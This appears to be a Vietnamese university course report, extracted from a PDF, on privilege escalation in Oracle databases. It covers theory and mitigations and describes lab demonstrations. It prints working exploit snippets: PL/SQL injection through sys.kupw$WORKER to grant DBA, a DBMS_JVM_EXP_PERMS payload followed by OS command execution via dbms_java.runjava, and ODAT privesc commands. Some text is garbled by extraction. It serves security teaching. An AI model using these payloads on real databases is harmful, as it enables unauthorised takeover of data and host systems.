Ban Cơ Yếu Chính Phủ Học Viện Kĩ Thuật Mật Mã Báo Cáo An Toàn Cơ Sở Dữ Liệu TÌM HIỂU VỀ TẤN CÔNG LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ ORACLE Người hướng dẫn Ts Trần Thị Lượng Nhóm gồm Hà Nội – 2020 B.
Ban Cơ Yếu Chính Phủ Học Viện Kĩ Thuật Mật Mã Báo Cáo An Tồn Cơ Sở Dữ Liệu TÌM HIỂU VỀ TẤN CÔNG LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ ORACLE Người hướng dẫn: Ts Trần Thị Lượng Nhóm gồm: Hà Nội – 2020 Ban Cơ Yếu Chính Phủ Học Viện Kĩ Thuật Mật Mã Báo Cáo An Tồn Cơ Sở Dữ Liệu TÌM HIỂU VỀ TẤN CƠNG LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ ORACLE Người hướng dẫn: Ts Trần Thị Lượng Nhóm gồm: Hà Nội – 2020 MỤC LỤC LỜI NÓI ĐẦU .5 CHƯƠNG TỔNG QUAN TẤN CÔNG LEO THANG ĐẶC QUYỀN 1.1 Giới thiệu công leo thang đặc quyền .1 1.2 Các dạng leo thang đặc quyền 1.2.1 Leo thang đặc quyền dọc .2 1.2.2 Leo thang đặc quyền ngang 1.3 Các biện pháp bảo vệ hệ thống giảm thiểu leo thang đặc quyền .3 CHƯƠNG LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ CƠ SỞ DỮ LIỆU ORACLE 2.1 Giới thiệu kiến trúc Oracle 2.2 Quản trị Oracle 2.2.1 Phân loại user: 2.2.2 Đặc quyền Oracle .8 2.2.3 Ngôn ngữ PL/SQL 2.3 Một số kĩ thuật công leo thang đăc quyền Oracle 2.3.1 Khai thác PL/SQL Injection 10 2.3.2 Leo thang đặc quyền với Oracle Indexes 12 2.3.3 Sử dụng công cụ Odat 13 CHƯƠNG .16 THỰC NGHIỆM VÀ ĐÁNH GIÁ 16 3.1 Công cụ sử dụng 16 3.2 Thông tin victim người công 16 3.3.1 Privilege Escalation via Oracle Indexes 16 Hình Khởi tạo user 16 3.3.3 Privilege Escalation via Creating Packet 23 Kết Luận .26 Tài Liệu Tham Khảo 27 LỜI NÓI ĐẦU Hiện với phát triển cách mạng số 4.0, sở liệu đóng vai trị quan trọng Cơ sở liệu tham gia hầu hết lĩnh vực từ kinh tế, khoa học hay quốc phòng an ninh, ngưng trệ hay hoạt động thiếu xác gây hậu nghiêm trọng Do bảo vệ thông tin sở liệu vấn đề cần đầu tư nghiên cứu triển khai ứng dụng định Song để triển khai mô hình này, cần phải xây dựng với hệ quản trị sở liệu Oracle phần mềm cung cấp công ty Oracle, hệ quản trị sở liệu phổ biến giới Để hình dung dễ dàng hiểu rõ kĩ thuật an toàn thể hệ quản trị sở liệu, nhóm chúng em chọn đề tài “Tìm hiểu công leo thang đặc quyền hệ quản trị Oracle” làm đề tài mơn học An tồn sở liệu Nội dung đề tài gồm phần: Chương Tổng quan công leo thang đặc quyền Chương Leo thang đặc quyền hệ quản trị sở liệu Oralce Chương Thực nghiệm Nội dung đề tài từ khái niệm đến cách thức để công leo thang đặc quyền hệ quản trị sở liệu Oracle giúp người đọc có nhìn tổng qt vấn đề leo thang đặc quyền quy trình thực công Oracle dựa số lỗ hổng công bố Nhóm đề tài xin chân thành cảm ơn Trần Thị Lượng đề tận tình giảng dạy, giúp đỡ tận tình để nhóm thực tốt đề tài mơn an tồn sở liệu Mặc dù nhóm cố gắng thực đề tài hạn chế mặt thời gian lực nên đề tài khó tránh khỏi thiếu sót khuyết điểm Nhóm mong nhận thơng cảm đánh giá, nhận xét quý thầy cô góp ý bạn để giúp đề tài hoàn thiện Xin cảm ơn tất người tạo điều kiện tốt để chúng em hoàn thành đề tài này! Hà nội, ngày 12 tháng 12 năm 2019 SINH VIÊN THỰC HIỆN CHƯƠNG TỔNG QUAN TẤN CÔNG LEO THANG ĐẶC QUYỀN 1.1 Giới thiệu công leo thang đặc quyền Leo thang đặc quyền (Escalating Privilege) có định nghĩa thêm nhiều quyền cho phép tài khoản người dùng thêm quyền, leo thang đặc quyền làm cho tài khoản người dùng có quyền tài khoản quản trị Nói chung, tài khoản quản trị viên có yêu cầu mật nghiêm ngặt hơn, mật họ bảo vệ chặt chẽ Nếu khơng thể tìm thấy tên người dùng mật tài khoản với quyền quản trị viên, hacker chọn sử dụng tài khoản với quyền thấp Tại trường hợp này, hacker sau phải leo thang đặc quyền để có nhiều quyền quyền quản trị Cái thực cách nắm lấy quyền truy cập cách sử dụng tài khoản người dùng quản trị viên Thường cách thu thập tên người dùng mật thông qua bước trung gian để gia tăng đặc quyền tài khoản với mức độ quản trị viên Một hacker có tài khoản người dùng hợp lệ mật khẩu, bước để thực thi ứng dụng nói chung hacker cần phải có tài khoản có quyền truy cập cấp quản trị viên để cài đặt chương trình Đó lý leo thang đặc quyền quan trọng Một hacker truy cập tài khoản với quyền quản trị, điều cần làm thực thi ứng dụng hệ thống đích Mục tiêu việc thực thi ứng dụng cài đặt cửa sau hệ thống, cài đặt keylogger để thu thập thơng tin bí mật, chép tập tin, gây thiệt hại cho hệ thống, điều hacker muốn làm hệ thống Lúc này, hacker thực thi ứng dụng, họ chiếm tồn quyền hệ thống hệ thống 1.2 Các dạng leo thang đặc quyền Kẻ công bắt đầu cách khai thác lỗ hổng leo thang đặc quyền hệ thống ứng dụng mục tiêu, cho phép chúng ghi đè giới hạn tài khoản người dùng Sau đó, họ truy cập chức liệu người dùng khác (leo thang đặc quyền theo chiều ngang) có đặc quyền nâng cao, thường quản trị viên hệ thống người dùng quyền lực khác (leo thang đặc quyền dọc) Sự leo thang đặc quyền thường bước thực để chuẩn bị cho cơng 1.2.1 Leo thang đặc quyền dọc Leo thang đặc quyền dọc (Vertical privilege escalation): cịn gọi độ cao đặc quyền, người dùng ứng dụng đặc quyền thấp truy cập vào chức nội dung dành cho người dùng ứng dụng có đặc quyền cao (ví dụ: người dùng Internet Banking có chức quản trị hệ thống sửa đổi sở liệu) Với đặc quyền nâng cao này, kẻ công phá hủy tất tài nguyên hệ thống máy tính ứng dụng bạn: đánh cắp thông tin truy cập thông tin nhạy cảm khác, tải xuống thực thi phần mềm độc hại, xóa liệu thực thi mã tùy ý Tệ nữa, kẻ cơng sử dụng đặc quyền nâng cao để che dấu vết chúng cách xóa nhật ký truy cập chứng khác hoạt động chúng Điều có khả khiến nạn nhân cơng xảy Bằng cách đó, tội phạm mạng ngấm ngầm đánh cắp thơng tin cài đặt phần mềm độc hại trực tiếp hệ thống Một số ví dụ leo thang đặc quyền dọc: Trong số trường hợp, ứng dụng đặc quyền cao giả định cung cấp với đầu vào khớp vớp đặc tả giao diện Kẻ cơng khai thác giả định để chạy mã trái phép với đặc quyền ứng dụng: Buffer Overflow: chất công tràn đệm gửi nhiều thông tin cho biến ứng dụng, gây lỗi ứng dụng Một lỗ hổng tràn đệm sử dụng để thực thi mã tùy ý với đặc quyền nâng lên Administrator Cross Zone Scripting kiểu công leo thang đặc quyền trang web thay đổi mơ hình bảo mật trình duyệt web, cho phép chạy mã độc máy khách Một ứng dụng thực thi dòng lệnh Command line shell có lỗ hổng Shell Ịnection sử dụng đầu vào khơng có giá trị giống phần lệnh thực thi, kẻ công sau chạy lệnh hệ thống đặc quyền ứng dụng iOS jaibreaking: leo thang đặc quyền thiết bị Apple với mục đich xóa bỏ hạn chế phần mềm Apple áp đặt lên có hệ điều hành iOS, iPadOS, tvOS watchOS Jailbreak cho phép truy cập root hệ điều hành di động Apple, cho phép cài đặt phần mềm không Apple chấp thuận, tùy chỉnh chỉnh sửa giao diện người dùng Root (Android): trình cho phép người dùng điện thoại thơng minh, máy tính bảng hay thiết bị sử dụng hệ điều hành android để đạt quyền truy cập root Vì android sử dụng nhân linux, việc root thiết bị Android cho phép truy cập tương tự quyền quản trị linux hệ điều hành giốn Unix (FreeBSD, macOS) Root cung cấp quyền thay đổi thay ứng dụng cài đặt hệ thống, ứng dụng chuyên dụng yêu cầu quyền cấp quản trị viên hoạt động khác mà người dùng Android không thê truy cập Rootkit: loại chương trình thường sử dụng để che dấu tiện ích hệ thống bị xâm nhập Rootkit bao gồm gọi back doors, giúp cho kẻ cơng truy cập vào hệ thống dễ dàng lần sau Ví dụ, rootkit ẩn ứng dụng, ứng dụng sinh lệnh kết nối vào cổng mạng cụ thể hệ thống Back door cho phép q trình bắt đầu người khơng có đặc quyên, dùng để thực chức thường dành cho quản trị viên 1.2.2 Leo thang đặc quyền ngang Leo thang đặc quyền ngang (Horizontal privilege escalation): người dùng bình thường truy cập chức nội dung dành riêng cho người dùng bình thường khác (ví dụ: người dùng Internet Banking A truy cập vào tài khoản Internet Banking người dùng B) Một số nguy leo thang đặc quyền ngang: Có thể dự đoán session ID HTTP cookie người dùng 1.3 Session fixation Cross-site scripting Mật dễ đoán Trộm cắp chiếm quyền điều khiển Keystroke logging Các biện pháp bảo vệ hệ thống giảm thiểu leo thang đặc quyền Những kẻ công sử dụng nhiều kĩ thuật leo thang đặc quyền để đạt mục tiêu họ Nhưng để cố gắng leo thang đặc quyền bước đầu tiên, họ thường cần có quyền truy cập vào tài khoản người dùng đặc quyền Điều có nghĩa tài khoản người dùng thông thường cần bảo vệ đầu tiên, cần thực biện pháp để kiểm sốt truy cập: Thực thi sách mật khẩu: mật cần phải đủ mạnh thay đổi mật thường xuyên để bảo mật, không gây bất tiện cho người dùng Tạo người dùng nhóm chuyên biệt với quyền truy cập quyền truy cập tệp tối thiểu cần thiết: áp dụng quy tắc quyền tối thiều cần thiết để giảm thiểu rủi ro tài khoản người dùng bị xâm phạm Các ứng dụng cung cấp điểm vào dễ dàng cho cơng nào, điều quan trọng giữ an toàn cho chúng: Tránh lỗi lập trình phổ biến ứng dụng bạn: tránh lỗi lập trình phổ biến thường bị kẻ công nhắm tới tràn dệm, code injection đầu vào người dùng không xác thực Bảo mật sở liệu lọc đầu vào người dùng: hệ thống sở liệu thường mục tiêu cơng nhiều ứng dụng web frameworks lưu trữ tất liệu chúng sở liệu bao gồm cài đặt cấu hình, thơng tin đăng nhập liệu người dùng Chỉ với cơng SQL injection, kẻ cơng có quyền truy cập vào tất thông tin sử dụng công Không phải tất công leo thang đặc quyền nhắm trực tiếp vào tài khoản người dùng, đặc quyền quản trị viên có cách khai thác lỗi ứng dụng hệ điều hành hay lỗi cấu hình Để giảm thiểu: Giữ cho hệ thống ứng dụng vá cập nhật: Nhiều cơng khai thác lỗi biết, ta cần giữ cập nhật để hạn chế cơng Đảm bảo quyền xác cho tất tệp thư mục: tài khoản người dùng, tệp thư mục cần tuân theo quy tắc quyền tối thiểu, có khơng cần ghi giữ chế độ đọc 10 Viết thủ tục hàm tăng quyền Tự thực tiêm Một thủ tục điển sau (Áp dụng cho oracle 10x): CREATE OR REPLACE FUNCTION F1 RETURN NUMBER AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO TEST'; COMMIT; RETURN(1); END; / Và ta tiêm thủ tục hàm đối số hàm dễ bị tổn thương: exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1 '); Trong phiên 10 11, có ngoại lệ “nice” lỗ hổng, cho phép bạn thực thi lệnh máy chủ mà khơng cần có quyền DBA: thủ tục ‘DBMS_JVM_EXP_PERMS’ cho phép người dùng với đặc quyền ‘CREATE SESSION’ có quyền ‘JAVA IO’.Cuộc cơng thể sau: SQL> DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT','GREMLIN','SYS','java.io.FilePermission','< FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / PL/SQL procedure successfully completed 18 Và bạn có đặc quyền để gọi thủ tục Java, bạn phản hồi từ trình thơng dịch Windows thực thi đoạn mã tùy ý: SQL>select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c echo 123 >c:\\hack’)from dual; 2.3.2 Leo thang đặc quyền với Oracle Indexes Index database object tạo table với mục đích tăng tốc tốc độ truy xuất liệu Với ý nghĩa mục lục sách, index tạo nhiều column Khi index lưu giữ giá trị column đó, với rowId( địa vật lý disk) tường row liệu Nhờ truy vấn lượng data nhỏ, Oracle lấy ngày liệu nhờ việc truy xuất vị trí row liệu disk, thay phải dị tồn bảng để tìm liệu Trong Oracle, để tạo Index bảng, người dùng phải sở hữu bảng có đặc quyền hệ thống CREATE ANY INDEX Nếu người dùng có đặc quyền này, lỗ hổng bảo mật mở ra, theo họ thực thi SQL tùy ý chủ sở hữu bảng cách tạo function-based index bảng Nếu bảng question sở hữu người dùng có đặc quyền cao SYS SYSTEM máy chủ sở liệu bị lộ nguy hiểm cung cấp cho kẻ cơng khả thỏa hiệp hồn tồn hệ thống 2.3.3 Sử dụng công cụ Odat Odat (Oracle Database Attacking Tool) công cụ kiểm tra thâm nhập mã nguồn mở kiểm tra tính bảo mật cở liệu Oralce từ xa (áp dụng cho Oracle 10g, 11g, 12c) Một số ví dụ sử dụng Odat: Bạn có tài khoản Oralce hợp lệ để kết nối với sở liệu muốn leo thang đặc quyền để trở thành DBA SYSDBA Bạn có tài khoản Oracle bạn muốn thực thi lệnh hệ thống (ví dụ: reverse shell – loại shell mà mục tiêu giao tiếp ngược lại với kẻ công) để chiếm quyền hệ điều hành lưu trữ sở liệu Cài đặt: Odat hoạt động linux sử dụng cho Oracle 10g, 11g, 12c 18c Bạn cố thể xem hướng https://github.com/quentinhardy/odat/tree/master 19 dẫn chi tiết tại: Kiến trúc: Sử dụng: (tham khảo thêm https://github.com/quentinhardy/odat/wiki) Sử dụng all module module sử dụng bạn gặp sở liệu Oracle Bạn sử dụng lệnh để bắt đầu: /odat.py all -s 192.168.1.254 -p 1521 Bạn cung cấp SID bạn biết: /odat.py all -s 192.168.1.254 -p 1521 -d ORCL Nếu bạn biết tài khoản hợp lệ, bạn sử dụng module sau : /odat.py all -s 192.168.1.254 -p 1521 -d ORCL -U SYS -P password Để trở thành DBA với đặc quyền hệ thống ta sử dụng module privesc Odat Module privesc có quyền truy cập đặc quyền (ví dụ DBA) cách sử dụng kết hợp đặc quyền hệ thống sau đây: 20 CREATE ANY PROCEDURE (cho phép người dùng tạo thủ tục, hàm gói PL/SQL người dùng sở hữu sở liệu) CREATE PROCEDURE (Cho phép người dùng tạo thủ tục, hàm gói PL / SQL người dùng sở hữu) EXECUTE ANY PROCEDURE (Cho phép người dùng thực thủ tục, hàm gói PL / SQL sở liệu) CREATE ANY TRIGER (và CREATE PROCEDURE) ANALYZE ANY (và CREATE PROCEDURE) CREATE ANY INDEX (Cho phép người dùng tạo mục bảng chế độ xem cụ thể hóa sở liệu) (và CREATE PROCEDURE) Với module privesc, bạn gán quyền DBA cho người dùng Oracle sử dụng module Một ví dụ sử dụng đặc quyền CREATE/ EXCUTE ANY PROCEDURE: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD dba-with-create-any-trigger Ngồi ra, thực truy vấn SQL dạng SYS theo cách thủ công Dưới ví dụ sử dụng đặc quyền CREATE/ EXCUTE ANY PROCEDURE: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD exec-with-execute-any-procedure 'GRANT dba TO $USER' Bạn thu hồi vai trò DBA sử dụng lệnh sau: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD revoke-dba-role Lệnh –get-detailed-privs sử dụng để có đặc quyền vai trị hệ thống gán cho người dùng Oracle chạy module này: /odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD get-privs 21 CHƯƠNG THỰC NGHIỆM VÀ ĐÁNH GIÁ 3.1 Công cụ sử dụng Windows Oracle Database Express Edition 11g Release Oracle Database 10g Express Edition Release 10.2.0.1.0 Sql plus 3.2 Thông tin victim người công Nạn nhân DBA Người công user 3.3.1 Privilege Escalation via Oracle Indexes Đầu tiên ta khởi tạo user có tên TRUONGGIANG cho TRUONGGIANG hai quyền connect resource Hình Khởi tạo user 22 Tạo bảng có tên DEMO_EXPLOIT Hình Tạo bảng demo_exploit INSERT giá trị NGUYENTRUONGGIANG 23 Hình Insert giá trị Chúng ta thử select bảng với tài khoản sysdba Hình Lấy giá trị từ bảng demo_exploit Phân quyền select index bảng DEMO_EXPLOIT cho TRUONGGIANG 24 Hình Kết nối tới user truong giang Ta thử set role dba thất bại Hình Set role dba Sau nhập procedure vào 25 Hình Khởi tạo function Lúc khai thác lỗi thành công, user truonggiang gán quyền dba Hình Khai thác lỗi thành cơng Và lúc ta xem bảng DEMO_EXPLOIT Hình User select bảng demo_exploit 26 Role dba lúc set thành cơng Hình 10 Role dba set thành cơng 3.3.2 Privilege Escalation via exploiting PLSQL Injection Tạo user với quyền connect resource Hình 11 Khởi tạo user giang Tạo procedure 27 Hình 12 Tạo procedure Sau connect tới user thử set role dba thất bại Hình 13 Connect set role dba 28 Ta tiếp tục tạo procedure khởi chạy, lúc ta set role dba thành cơng Hình 14 Set role dba thành công 3.3.3 Privilege Escalation via Creating Packet Tạo user hacker connect với user hacker Hình 15 Khởi tạo user hacker 29 Hình 16 Connect tới user tạo package Hình 17 Tiếp tạo khởi tạo package 30 Hình 18 Tiếp tục với declare Set role dba thành cơng Hình 19 Set role dba thành cơng 31 Kết Luận Những vấn đề đạt đề tài Có thêm nhìn trực quan leo thang đặc quyền số mà hacker cơng khai thác vào lỗ hổng oracle Những hạn chế đề tài Có số kiến thức chuyên sâu nâng cao khó hiểu sâu Do hạn chế mà đề tài nói rõ phần lý thuyết cịn phần demo có phần nhỏ chưa chuyên sâu Tài Liệu Tham Khảo https://www.doag.org/formes/pubfiles/6461091/2014-DB- Alexander_Kornbrust-Best_of_Oracle_Security_2014-Praesentation.pdf http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf https://vulners.com/exploitdb/EDB-ID:33601 https://www.exploit-db.com/exploits/33601 http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html https://geekflare.com/privilege-escalation-attacks/ 32 ... QUAN TẤN CÔNG LEO THANG ĐẶC QUYỀN 1.1 Giới thiệu công leo thang đặc quyền .1 1.2 Các dạng leo thang đặc quyền 1.2.1 Leo thang đặc quyền dọc .2 1.2.2 Leo thang đặc quyền. .. tài ? ?Tìm hiểu công leo thang đặc quyền hệ quản trị Oracle? ?? làm đề tài mơn học An tồn sở liệu Nội dung đề tài gồm phần: Chương Tổng quan công leo thang đặc quyền Chương Leo thang đặc quyền hệ quản. .. bảo vệ hệ thống giảm thiểu leo thang đặc quyền .3 CHƯƠNG LEO THANG ĐẶC QUYỀN TRONG HỆ QUẢN TRỊ CƠ SỞ DỮ LIỆU ORACLE 2.1 Giới thiệu kiến trúc Oracle 2.2 Quản trị Oracle